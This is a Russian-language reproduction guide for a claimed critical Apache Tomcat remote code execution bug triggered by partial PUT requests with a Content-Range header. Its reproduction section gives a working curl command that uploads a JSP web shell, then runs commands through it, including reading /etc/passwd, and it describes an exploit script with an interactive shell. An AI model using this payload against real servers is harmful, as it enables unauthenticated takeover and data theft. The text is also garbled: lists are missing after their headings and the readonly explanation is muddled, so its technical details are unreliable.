
Воспроизведение cve-2025-43564-tomcat_put_rce_reproduction
| Поле | Значение |
|---|---|
| Идентификатор CVE | CVE-2025-43564 |
| Оценка CVSS | 9.8 (КРИТИЧЕСКАЯ) |
| Вектор | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-494 — Загрузка кода без проверки целостности |
| Эксплуатация | Подтверждена в реальных атаках в течение недели после раскрытия |
| Раскрытие | Июль 2025 |
| Патч | Tomcat 11.0.6, 10.1.40, 9.0.102 |
CVE-2025-43564 — это критическая уязвимость удаленного выполнения кода без аутентификации в механизме обработки частичных PUT-запросов HTTP в Apache Tomcat. Ошибка заключается в том, как Tomcat обрабатывает PUT-запросы с частичным содержимым (HTTP/1.1 Content-Range или Transfer-Encoding: chunked с семантикой частичной передачи). Злоумышленник может сформировать частичный PUT-запрос, который обходит контроль доступа и ограничения на запись, что позволяет загружать произвольные файлы — включая доступные через веб JSP-веб-шеллы — в корень документов сервера или любую доступную для записи директорию в контексте сервлета.
После размещения JSP-файла злоумышленник просто запрашивает его и передает команды операционной системы через параметры запроса, добиваясь полностью неаутентифицированного удаленного выполнения кода от имени пользователя процесса Tomcat.
CVSS 9.8 — Критическая, поскольку:
DefaultServlet Apache Tomcat и HTTP/1.1 коннектор (NIO/NIO2/Apr) обрабатывают PUT-запросы для загрузки статических ресурсов. Уязвимость находится в логике обработки частичных PUT-запросов: когда клиент отправляет PUT с заголовком Content-Range (RFC 7233 §4.2) или использует chunked-кодирование с определенной семантикой частичной передачи, сервер не выполняет должную проверку:
Код разбора в org.apache.catalina.servlets.DefaultServlet и компонентах HttpInput / SocketProcessorBase неправильно обрабатывает границу между частичной и полной записью ресурса, что позволяет злоумышленнику добавлять или перезаписывать произвольное содержимое по любому пути, к которому процесс Tomcat имеет доступ на запись.
Злоумышленник ──PUT /exec.jsp HTTP/1.1──► Tomcat (DefaultServlet)
Content-Range: bytes 0-99/100
[Полезная нагрузка JSP]
└──► Сервер записывает частичное содержимое в exec.jsp
без полной проверки целевого пути
Злоумышленник ──GET /exec.jsp?cmd=whoami──► Tomcat
└──► JSP выполняется → RCE
Злоумышленник отправляет частичный PUT с заголовком Content-Range, заставляя Tomcat считать запрос продолжением существующей загрузки. Сервер создает или открывает целевой файл и записывает предоставленные байты без проверки существования файла, без проверки прав на запись во время записи и без очистки целевого пути относительно корня веб-каталога.
readonly=false в DefaultServlet для работы обычного PUT. Путь частичного PUT пропускает эту проверку при определенных условиях.Content-Range часто обходит эти сигнатуры.| Продукт | Затронутые версии | Исправлено в |
|---|---|---|
| Apache Tomcat 11 | 11.0.0-M1 — 11.0.5 | 11.0.6 |
| Apache Tomcat 10.1 | 10.1.0-M1 — 10.1.39 | 10.1.40 |
| Apache Tomcat 10.0 | все версии (окончание поддержки) | обновление до 10.1.x |
| Apache Tomcat 9 | 9.0.0-M1 — 9.0.101 | 9.0.102 |
| Apache Tomcat 8.5 | все версии (окончание поддержки) | обновление до 9.0.x |
| Apache Tomcat 8 | все версии (окончание поддержки) | обновление до 9.0.x |
| Apache Tomcat 7 | все версии (окончание поддержки) | обновление до 9.0.x |
Примечание: Старые ветки (7.x, 8.x, 8.5.x, 10.0.x) являются устаревшими (EOL) и не получат обратных портов. Пользователи должны перейти на поддерживаемую ветку.
Загрузите уязвимый Apache Tomcat (например, Tomcat 9.0.50):
wget https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.50/bin/apache-tomcat-9.0.50.zip
Распакуйте и запустите Tomcat с конфигурацией по умолчанию:
unzip apache-tomcat-9.0.50.zip
cd apache-tomcat-9.0.50/bin
./startup.sh # или startup.bat на Windows
Убедитесь, что сервер работает:
curl -v http://localhost:8080
Загрузите JSP-веб-шелл с помощью скрипта PoC:
python exploit.py --target http://localhost:8080 --cmd id
Проверьте, что веб-шелл размещен:
curl http://localhost:8080/exec.jsp?cmd=whoami
Выполните произвольные команды:
python exploit.py --target http://localhost:8080 --cmd "cat /etc/passwd"
Интерактивный сеанс (при желании):
python exploit.py --target http://localhost:8080 --shell
Прилагаемый exploit.py — это функциональный PoC на Python, который:
Content-Type и структура полезной нагрузки запускают уязвимый кодwebapps/ROOT/)exec.jsp?cmd=<команда> для выполнения команд ОС--cmd), так и интерактивную оболочку (--shell)# Шаг 1: Загрузите веб-шелл через частичный PUT
# Заголовок Content-Range запускает уязвимый код
curl -X PUT http://localhost:8080/exec.jsp \
-H "Content-Range: bytes 0-212/213" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data-binary '<%@ page import="java.io.*" %><% String cmd=request.getParameter("cmd");if(cmd!=null){Process p=Runtime.getRuntime().exec(cmd);BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));String l;while((l=br.readLine())!=null){out.println(l);}}%>'
# Шаг 2: Выполните команды
curl "http://localhost:8080/exec.jsp?cmd=id"
Если Tomcat настроен с readonly=true (по умолчанию), стандартный PUT будет заблокирован — но путь частичного PUT все равно может сработать. Это и есть суть уязвимости.
# Стандартный PUT (должен завершиться ошибкой 403 или 405)
curl -X PUT http://localhost:8080/test.txt -d "hello"
# Ожидается: 403 Forbidden